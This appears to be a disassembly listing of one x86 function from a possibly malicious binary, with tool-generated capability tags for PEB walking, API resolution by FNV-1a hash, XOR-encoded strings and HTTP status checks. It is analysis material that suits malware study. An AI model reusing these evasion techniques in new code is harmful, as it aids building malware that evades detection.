Function at 0xcaa2c0
Capabilities:
Access peb ldr_data
Check http status code
Encode data using xor
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xa29fac
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0xca0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0x54], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov dword [ebp - 4], 1
movups xmmword [ebp - 0x88], xmm0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
mov byte [ebp - 4], 2
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
mov byte [ebp - 4], 3
mov ecx, dword [0xa56e14]
test ecx, ecx
jne 0xcaafd7
mov byte [ebp - 4], 4
push 0xa359da
lea ecx, [ebp - 0xb3c]
call fcn.00be48f0
mov byte [ebp - 4], 5
push 0x98
call fcn.00c15272
add esp, 4
mov dword [ebp - 0xae8], eax
mov byte [ebp - 4], 6
mov ecx, eax
call fcn.00cceb20
mov dword [ebp - 0xf4], eax
mov byte [ebp - 4], 5
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0xa35e00
call fcn.00bf7a60
mov byte [ebp - 4], 7
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x34], esp
push 0xa359da
call fcn.00be48f0
mov byte [ebp - 4], 8
mov dword [ebp - 0x1f8], 0xf1f293f4
mov dword [ebp - 0x1f4], 0x892983b6
mov eax, dword [ebp - 0x1f8]
mov ecx, dword [ebp - 0x1f4]
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], ecx
mov dword [ebp - 0x200], 0x10d4f1c8
mov dword [ebp - 0x1fc], 0x14d846d1
mov eax, dword [ebp - 0x200]
mov ecx, dword [ebp - 0x1fc]
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x58], esp
lea ecx, [ebp - 0x640]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00be48f0
mov byte [ebp - 4], 9
push 0
lea eax, [ebp - 0xb3c]
push eax
push 0xb
push ecx
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xf4]
call fcn.00ccf530
cmp eax, 0xc8
jne 0xcaa743
sub esp, 0x28
mov dword [ebp - 0x24], esp
mov eax, esp
mov dword [ebp - 0xaf0], eax
mov dword [eax + 0x24], 0
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 0xb
push 0
push 1
mov byte [ebp - 4], 5
lea edx, [ebp - 0xb3c]
lea ecx, [ebp - 0x188]
call fcn.00bfd030
add esp, 0x30
mov byte [ebp - 4], 0xc
cmp byte [ebp - 0x188], 1
jne 0xcaa72e
mov dword [ebp - 0x208], 0xdf9b93fc
mov dword [ebp - 0x204], 0xf940fadb
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x204]
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x210], 0x7dbb92e6
mov dword [ebp - 0x20c], 0x14d846fe
mov eax, dword [ebp - 0x210]
mov ecx, dword [ebp - 0x20c]
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], ecx
lea ecx, [ebp - 0x4c0]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0x188]
call fcn.00bfcb80
mov dword [ebp - 0xaf4], eax
cmp byte [eax], 3
jne 0xcaa72e
mov dword [ebp - 0x218], 0xdf9b93fc
mov dword [ebp - 0x214], 0xf940fadb
mov eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 0x214]
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4cc], ecx
mov dword [ebp - 0x220], 0x7dbb92e6
mov dword [ebp - 0x21c], 0x14d846fe
mov eax, dword [ebp - 0x220]
mov ecx, dword [ebp - 0x21c]
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], ecx
lea ecx, [ebp - 0x4d0]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0x188]
call fcn.00bfcb80
lea ecx, [ebp - 0xc18]
push ecx
mov ecx, eax
call fcn.00bfcce0
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x88]
call fcn.00bf7ec0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xc18]
call fcn.00be49f0
mov dword [ebp - 0x228], 0xdf9b80f6
mov dword [ebp - 0x224], 0xf940fadb
mov eax, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x224]
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x230], 0x7dbb92e6
mov dword [ebp - 0x22c], 0x14d846fe
mov eax, dword [ebp - 0x230]
mov ecx, dword [ebp - 0x22c]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], ecx
lea ecx, [ebp - 0x4e0]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0x188]
call fcn.00bfcb80
mov dword [ebp - 0xa74], eax
cmp byte [eax], 3
jne 0xcaa72e
mov dword [ebp - 0x238], 0xdf9b80f6
mov dword [ebp - 0x234], 0xf940fadb
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x234]
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x240], 0x7dbb92e6
mov dword [ebp - 0x23c], 0x14d846fe
mov eax, dword [ebp - 0x240]
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0x4e8], eax
mov dword [ebp - 0x4e4], ecx
lea ecx, [ebp - 0x4f0]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0x188]
call fcn.00bfcb80
lea ecx, [ebp - 0xc30]
push ecx
mov ecx, eax
call fcn.00bfcce0
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x70]
call fcn.00bf7ec0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xc30]
call fcn.00be49f0
mov byte [ebp - 4], 5
push dword [ebp - 0x188]
lea ecx, [ebp - 0x180]
call fcn.00bf96f0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xb3c]
call fcn.00be49f0
jmp 0xcaaa0c
mov dword [ebp - 4], 3
cmp dword [ebp - 0x78], 0
ja 0xcab001
mov byte [ebp - 4], 0x10
push 0xa359da
lea ecx, [ebp - 0xb6c]
call fcn.00be48f0
mov byte [ebp - 4], 0x11
push 0x98
call fcn.00c15272
add esp, 4
mov dword [ebp - 0xa7c], eax
mov byte [ebp - 4], 0x12
mov ecx, eax
call fcn.00cceb20
mov dword [ebp - 0xf8], eax
mov byte [ebp - 4], 0x11
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0xa35e00
call fcn.00bf7a60
mov byte [ebp - 4], 0x13
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x34], esp
push 0xa359da
call fcn.00be48f0
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x248], 0xe9f293f4
mov dword [ebp - 0x244], 0x8929d4ef
mov eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x730], eax
mov dword [ebp - 0x72c], ecx
mov dword [ebp - 0x250], 0x53c2f48f
mov dword [ebp - 0x24c], 0x3bbf3491
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x728], eax
mov dword [ebp - 0x724], ecx
mov dword [ebp - 0x258], 0xab200f98
mov dword [ebp - 0x254], 0xfdbba774
mov eax, dword [ebp - 0x258]
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x720], eax
mov dword [ebp - 0x71c], ecx
mov dword [ebp - 0x260], 0xc0163582
mov dword [ebp - 0x25c], 0x89c15b7c
mov eax, dword [ebp - 0x260]
mov ecx, dword [ebp - 0x25c]
mov dword [ebp - 0x718], eax
mov dword [ebp - 0x714], ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x58], esp
lea ecx, [ebp - 0x730]
call fcn.00bf4be0
push eax
mov ecx, esi
call fcn.00be48f0
mov byte [ebp - 4], 0x15
push 0
lea eax, [ebp - 0xb6c]
push eax
push 0xb
push ecx
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xf8]
call fcn.00ccf530
cmp eax, 0xc8
jne 0xcaacf7
sub esp, 0x28
mov dword [ebp - 0x24], esp
mov eax, esp
mov dword [ebp - 0xa80], eax
mov dword [eax + 0x24], 0
mov byte [ebp - 4], 0x16
mov byte [ebp - 4], 0x17
push 0
push 1
mov byte [ebp - 4], 0x11
lea edx, [ebp - 0xb6c]
lea ecx, [ebp - 0x4a0]
call fcn.00bfd030
add esp, 0x30
mov byte [ebp - 4], 0x18
cmp byte [ebp - 0x4a0], 1
jne 0xcaace2
mov dword [ebp - 0x268], 0xdf9b93fc
mov dword [ebp - 0x264], 0xf940fadb
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], ecx
mov dword [ebp - 0x270], 0x7dbb92e6
mov dword [ebp - 0x26c], 0x14d846fe
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x4f8], eax
mov dword [ebp - 0x4f4], ecx
lea ecx, [ebp - 0x500]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0x4a0]
call fcn.00bfcb80
mov dword [ebp - 0xa84], eax
cmp byte [eax], 3
jne 0xcaace2
mov dword [ebp - 0x278], 0xdf9b93fc
mov dword [ebp - 0x274], 0xf940fadb
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x1c8], 0x7dbb92e6
mov dword [ebp - 0x1c4], 0x14d846fe
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x1c4]
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x504], ecx
lea ecx, [ebp - 0x510]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0x4a0]
call fcn.00bfcb80
lea ecx, [ebp - 0xc48]
push ecx
mov ecx, eax
call fcn.00bfcce0
mov byte [ebp - 4], 0x19
push eax
lea ecx, [ebp - 0x88]
call fcn.00bf7ec0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xc48]
call fcn.00be49f0
mov byte [ebp - 4], 0x11
push dword [ebp - 0x4a0]
lea ecx, [ebp - 0x498]
call fcn.00bf96f0
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xb6c]
call fcn.00be49f0
mov dword [ebp - 4], 3
jmp 0xcaaff7
mov eax, 0xa56e04
cmp dword [0xa56e18], 0xf
cmova eax, dword [0xa56e04]
push ecx
push eax
lea ecx, [ebp - 0x88]
call fcn.00bf7d30
cmp dword [ebp - 0x78], 0
je 0xcacf19
mov byte [ebp - 4], 0x1b
push 0xa359da
lea ecx, [ebp - 0xb24]
call fcn.00be48f0
mov byte [ebp - 4], 0x1c
push 0x98
call fcn.00c15272
add esp, 4
mov dword [ebp - 0xa8c], eax
mov byte [ebp - 4], 0x1d
mov ecx, eax
call fcn.00cceb20
mov dword [ebp - 0xfc], eax
mov byte [ebp - 4], 0x1c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0xa35e8c
call fcn.00bf7a60
mov byte [ebp - 4], 0x1e
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x34], esp
push 0xa359da
call fcn.00be48f0
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x280], 0xb1f293fc
mov dword [ebp - 0x27c], 0x906e95bd
mov eax, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x27c]
mov dword [ebp - 0x750], eax
mov dword [ebp - 0x74c], ecx
mov dword [ebp - 0x288], 0x14ccbd89
mov dword [ebp - 0x284], 0x60bd219a
mov eax, dword [ebp - 0x288]
mov ecx, dword [ebp - 0x284]
mov dword [ebp - 0x748], eax
mov dword [ebp - 0x744], ecx
mov dword [ebp - 0x290], 0xb42a0d88
mov dword [ebp - 0x28c], 0xc0cfe976
mov eax, dword [ebp - 0x290]
mov ecx, dword [ebp - 0x28c]
mov dword [ebp - 0x740], eax
mov dword [ebp - 0x73c], ecx
mov dword [ebp - 0x298], 0xae7946e8
mov dword [ebp - 0x294], 0x89c15b7c
mov eax, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x294]
mov dword [ebp - 0x738], eax
mov dword [ebp - 0x734], ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x58], esp
lea eax, [ebp - 0x88]
push eax
push ecx
lea ecx, [ebp - 0x750]
call fcn.00bf4be0
add esp, 4
mov edx, eax
mov ecx, esi
call fcn.00bfc850
add esp, 4
mov byte [ebp - 4], 0x20
push 0xa35e64
lea eax, [ebp - 0xb24]
push eax
push 0xb
push ecx
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0xfc]
call fcn.00ccf530
cmp eax, 0xc8
jne 0xcab636
sub esp, 0x28
mov dword [ebp - 0x24], esp
mov eax, esp
mov dword [ebp - 0xa90], eax
mov dword [eax + 0x24], 0
mov byte [ebp - 4], 0x21
mov byte [ebp - 4], 0x22
push 0
push 1
mov byte [ebp - 4], 0x1c
lea edx, [ebp - 0xb24]
lea ecx, [ebp - 0xf0]
call fcn.00bfd030
add esp, 0x30
mov byte [ebp - 4], 0x23
cmp byte [ebp - 0xf0], 1
jne 0xcab621
mov dword [ebp - 0x2a0], 0xbeef82f1
mov dword [ebp - 0x29c], 0xf940fadb
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x29c]
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x2a8], 0x7dbb92e6
mov dword [ebp - 0x2a4], 0x14d846fe
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2a4]
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x514], ecx
lea ecx, [ebp - 0x520]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xf0]
call fcn.00bfcb80
mov dword [ebp - 0xa94], eax
cmp byte [eax], 1
jne 0xcab621
mov dword [ebp - 0x2b0], 0xbeef82f1
mov dword [ebp - 0x2ac], 0xf940fadb
mov eax, dword [ebp - 0x2b0]
mov ecx, dword [ebp - 0x2ac]
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x2b8], 0x7dbb92e6
mov dword [ebp - 0x2b4], 0x14d846fe
mov eax, dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0x2b4]
mov dword [ebp - 0x528], eax
mov dword [ebp - 0x524], ecx
lea ecx, [ebp - 0x530]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xf0]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x2c0], 0xb1ee8cf6
mov dword [ebp - 0x2bc], 0xf93988af
mov ecx, dword [ebp - 0x2c0]
mov edx, dword [ebp - 0x2bc]
mov dword [ebp - 0x540], ecx
mov dword [ebp - 0x53c], edx
mov dword [ebp - 0x2c8], 0x7dbb92e6
mov dword [ebp - 0x2c4], 0x14d846fe
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x2c4]
mov dword [ebp - 0x538], eax
mov dword [ebp - 0x534], ecx
lea ecx, [ebp - 0x540]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
mov dword [ebp - 0xa98], eax
cmp byte [eax], 3
jne 0xcab42d
mov dword [ebp - 0x2d0], 0xbeef82f1
mov dword [ebp - 0x2cc], 0xf940fadb
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [ebp - 0x2cc]
mov dword [ebp - 0x550], eax
mov dword [ebp - 0x54c], ecx
mov dword [ebp - 0x2d8], 0x7dbb92e6
mov dword [ebp - 0x2d4], 0x14d846fe
mov eax, dword [ebp - 0x2d8]
mov ecx, dword [ebp - 0x2d4]
mov dword [ebp - 0x548], eax
mov dword [ebp - 0x544], ecx
lea ecx, [ebp - 0x550]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xf0]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x2e0], 0xb1ee8cf6
mov dword [ebp - 0x2dc], 0xf93988af
mov ecx, dword [ebp - 0x2e0]
mov edx, dword [ebp - 0x2dc]
mov dword [ebp - 0x560], ecx
mov dword [ebp - 0x55c], edx
mov dword [ebp - 0x2e8], 0x7dbb92e6
mov dword [ebp - 0x2e4], 0x14d846fe
mov eax, dword [ebp - 0x2e8]
mov ecx, dword [ebp - 0x2e4]
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x554], ecx
lea ecx, [ebp - 0x560]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
lea ecx, [ebp - 0xc60]
push ecx
mov ecx, eax
call fcn.00bfcce0
mov byte [ebp - 4], 0x24
push eax
lea ecx, [ebp - 0x70]
call fcn.00bf7ec0
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0xc60]
call fcn.00be49f0
mov dword [ebp - 0x2f0], 0xbeef82f1
mov dword [ebp - 0x2ec], 0xf940fadb
mov eax, dword [ebp - 0x2f0]
mov ecx, dword [ebp - 0x2ec]
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], ecx
mov dword [ebp - 0x2f8], 0x7dbb92e6
mov dword [ebp - 0x2f4], 0x14d846fe
mov eax, dword [ebp - 0x2f8]
mov ecx, dword [ebp - 0x2f4]
mov dword [ebp - 0x568], eax
mov dword [ebp - 0x564], ecx
lea ecx, [ebp - 0x570]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xf0]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x300], 0xa6ef8af6
mov dword [ebp - 0x2fc], 0xf940fadb
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x590], ecx
mov dword [ebp - 0x58c], edx
mov dword [ebp - 0x308], 0x7dbb92e6
mov dword [ebp - 0x304], 0x14d846fe
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x304]
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], ecx
lea ecx, [ebp - 0x590]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
mov dword [ebp - 0xae4], eax
cmp byte [eax], 3
jne 0xcab621
mov dword [ebp - 0x310], 0xbeef82f1
mov dword [ebp - 0x30c], 0xf940fadb
mov eax, dword [ebp - 0x310]
mov ecx, dword [ebp - 0x30c]
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], ecx
mov dword [ebp - 0x318], 0x7dbb92e6
mov dword [ebp - 0x314], 0x14d846fe
mov eax, dword [ebp - 0x318]
mov ecx, dword [ebp - 0x314]
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], ecx
lea ecx, [ebp - 0x5a0]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xf0]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x320], 0xa6ef8af6
mov dword [ebp - 0x31c], 0xf940fadb
mov ecx, dword [ebp - 0x320]
mov edx, dword [ebp - 0x31c]
mov dword [ebp - 0x5b0], ecx
mov dword [ebp - 0x5ac], edx
mov dword [ebp - 0x328], 0x7dbb92e6
mov dword [ebp - 0x324], 0x14d846fe
mov eax, dword [ebp - 0x328]
mov ecx, dword [ebp - 0x324]
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5a4], ecx
lea ecx, [ebp - 0x5b0]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
lea ecx, [ebp - 0xc78]
push ecx
mov ecx, eax
call fcn.00bfcce0
mov byte [ebp - 4], 0x25
push eax
lea ecx, [ebp - 0xa0]
call fcn.00bf7ec0
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0xc78]
call fcn.00be49f0
mov byte [ebp - 4], 0x1c
push dword [ebp - 0xf0]
lea ecx, [ebp - 0xe8]
call fcn.00bf96f0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xb24]
call fcn.00be49f0
jmp 0xcab8ff
mov dword [ebp - 4], 3
cmp dword [ebp - 0x60], 0
jbe 0xcab9bb
cmp dword [ebp - 0x90], 0
jbe 0xcab9bb
mov dword [ebp - 0x28], 0xdf9bb9cf
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xab0], eax
mov dword [ebp - 0xaac], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xaa8], eax
mov dword [ebp - 0xaa4], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
lea esi, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0xf
cmova esi, dword [ebp - 0x70]
mov eax, dword [ebp - 0x60]
test eax, eax
je 0xcab9bb
push eax
push 0
push esi
call fcn.00c18da0
add esp, 0xc
test eax, eax
je 0xcab9bb
sub eax, esi
je 0xcac2bd
mov byte [ebp - 4], 0x27
push 0xa359da
lea ecx, [ebp - 0xb84]
call fcn.00be48f0
mov byte [ebp - 4], 0x28
push 0x98
call fcn.00c15272
add esp, 4
mov dword [ebp - 0xac0], eax
mov byte [ebp - 4], 0x29
mov ecx, eax
call fcn.00cceb20
mov dword [ebp - 0x100], eax
mov byte [ebp - 4], 0x28
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0xa35e00
call fcn.00bf7a60
mov byte [ebp - 4], 0x2a
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x34], esp
push 0xa359da
call fcn.00be48f0
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0x330], 0xb6b681f1
mov dword [ebp - 0x32c], 0x9623d4ab
mov eax, dword [ebp - 0x330]
mov ecx, dword [ebp - 0x32c]
mov dword [ebp - 0x770], eax
mov dword [ebp - 0x76c], ecx
mov dword [ebp - 0x338], 0x18dfbd8b
mov dword [ebp - 0x334], 0x7cf72993
mov eax, dword [ebp - 0x338]
mov ecx, dword [ebp - 0x334]
mov dword [ebp - 0x768], eax
mov dword [ebp - 0x764], ecx
mov dword [ebp - 0x340], 0xf72a04c8
mov dword [ebp - 0x33c], 0xffbfae69
mov eax, dword [ebp - 0x340]
mov ecx, dword [ebp - 0x33c]
mov dword [ebp - 0x760], eax
mov dword [ebp - 0x75c], ecx
mov dword [ebp - 0x348], 0xae797b9b
mov dword [ebp - 0x344], 0x89c15b7c
mov eax, dword [ebp - 0x348]
mov ecx, dword [ebp - 0x344]
mov dword [ebp - 0x758], eax
mov dword [ebp - 0x754], ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x58], esp
lea eax, [ebp - 0x88]
push eax
push ecx
lea ecx, [ebp - 0x770]
call fcn.00bf4be0
add esp, 4
mov edx, eax
mov ecx, esi
call fcn.00bfc850
add esp, 4
mov byte [ebp - 4], 0x2c
push 0
lea eax, [ebp - 0xb84]
push eax
push 0xb
push ecx
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x100]
call fcn.00ccf530
cmp eax, 0xc8
jne 0xcabfed
sub esp, 0x28
mov dword [ebp - 0x24], esp
mov eax, esp
mov dword [ebp - 0xac4], eax
mov dword [eax + 0x24], 0
mov byte [ebp - 4], 0x2d
mov byte [ebp - 4], 0x2e
push 0
push 1
mov byte [ebp - 4], 0x28
lea edx, [ebp - 0xb84]
lea ecx, [ebp - 0xe0]
call fcn.00bfd030
add esp, 0x30
mov byte [ebp - 4], 0x2f
cmp byte [ebp - 0xe0], 1
jne 0xcabfd8
mov dword [ebp - 0x350], 0xb0f686f1
mov dword [ebp - 0x34c], 0x96269492
mov eax, dword [ebp - 0x350]
mov ecx, dword [ebp - 0x34c]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x358], 0x7dbb92e6
mov dword [ebp - 0x354], 0x14d846fe
mov eax, dword [ebp - 0x358]
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5b4], ecx
lea ecx, [ebp - 0x5c0]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xe0]
call fcn.00bfcb80
mov dword [ebp - 0xac8], eax
cmp byte [eax], 1
jne 0xcabfd8
mov dword [ebp - 0x360], 0xb0f686f1
mov dword [ebp - 0x35c], 0x96269492
mov eax, dword [ebp - 0x360]
mov ecx, dword [ebp - 0x35c]
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], ecx
mov dword [ebp - 0x368], 0x7dbb92e6
mov dword [ebp - 0x364], 0x14d846fe
mov eax, dword [ebp - 0x368]
mov ecx, dword [ebp - 0x364]
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5c4], ecx
lea ecx, [ebp - 0x5d0]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xe0]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x370], 0xb1ee8cf6
mov dword [ebp - 0x36c], 0xba3988af
mov ecx, dword [ebp - 0x370]
mov edx, dword [ebp - 0x36c]
mov dword [ebp - 0x5e0], ecx
mov dword [ebp - 0x5dc], edx
mov dword [ebp - 0x378], 0x7ddef689
mov dword [ebp - 0x374], 0x14d846fe
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 0x374]
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x5d4], ecx
lea ecx, [ebp - 0x5e0]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
mov dword [ebp - 0xadc], eax
cmp byte [eax], 3
jne 0xcabde4
mov dword [ebp - 0x380], 0xb0f686f1
mov dword [ebp - 0x37c], 0x96269492
mov eax, dword [ebp - 0x380]
mov ecx, dword [ebp - 0x37c]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x388], 0x7dbb92e6
mov dword [ebp - 0x384], 0x14d846fe
mov eax, dword [ebp - 0x388]
mov ecx, dword [ebp - 0x384]
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], ecx
lea ecx, [ebp - 0x5f0]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xe0]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x390], 0xb1ee8cf6
mov dword [ebp - 0x38c], 0xba3988af
mov ecx, dword [ebp - 0x390]
mov edx, dword [ebp - 0x38c]
mov dword [ebp - 0x600], ecx
mov dword [ebp - 0x5fc], edx
mov dword [ebp - 0x398], 0x7ddef689
mov dword [ebp - 0x394], 0x14d846fe
mov eax, dword [ebp - 0x398]
mov ecx, dword [ebp - 0x394]
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x5f4], ecx
lea ecx, [ebp - 0x600]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
lea ecx, [ebp - 0xc90]
push ecx
mov ecx, eax
call fcn.00bfcce0
mov byte [ebp - 4], 0x30
push eax
lea ecx, [ebp - 0x70]
call fcn.00bf7ec0
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0xc90]
call fcn.00be49f0
mov dword [ebp - 0x3a0], 0xb0f686f1
mov dword [ebp - 0x39c], 0x96269492
mov eax, dword [ebp - 0x3a0]
mov ecx, dword [ebp - 0x39c]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], ecx
mov dword [ebp - 0x3a8], 0x7dbb92e6
mov dword [ebp - 0x3a4], 0x14d846fe
mov eax, dword [ebp - 0x3a8]
mov ecx, dword [ebp - 0x3a4]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x604], ecx
lea ecx, [ebp - 0x610]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xe0]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x3b0], 0xa6ef8af6
mov dword [ebp - 0x3ac], 0xf940fadb
mov ecx, dword [ebp - 0x3b0]
mov edx, dword [ebp - 0x3ac]
mov dword [ebp - 0x620], ecx
mov dword [ebp - 0x61c], edx
mov dword [ebp - 0x3b8], 0x7dbb92e6
mov dword [ebp - 0x3b4], 0x14d846fe
mov eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x3b4]
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], ecx
lea ecx, [ebp - 0x620]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
mov dword [ebp - 0xacc], eax
cmp byte [eax], 3
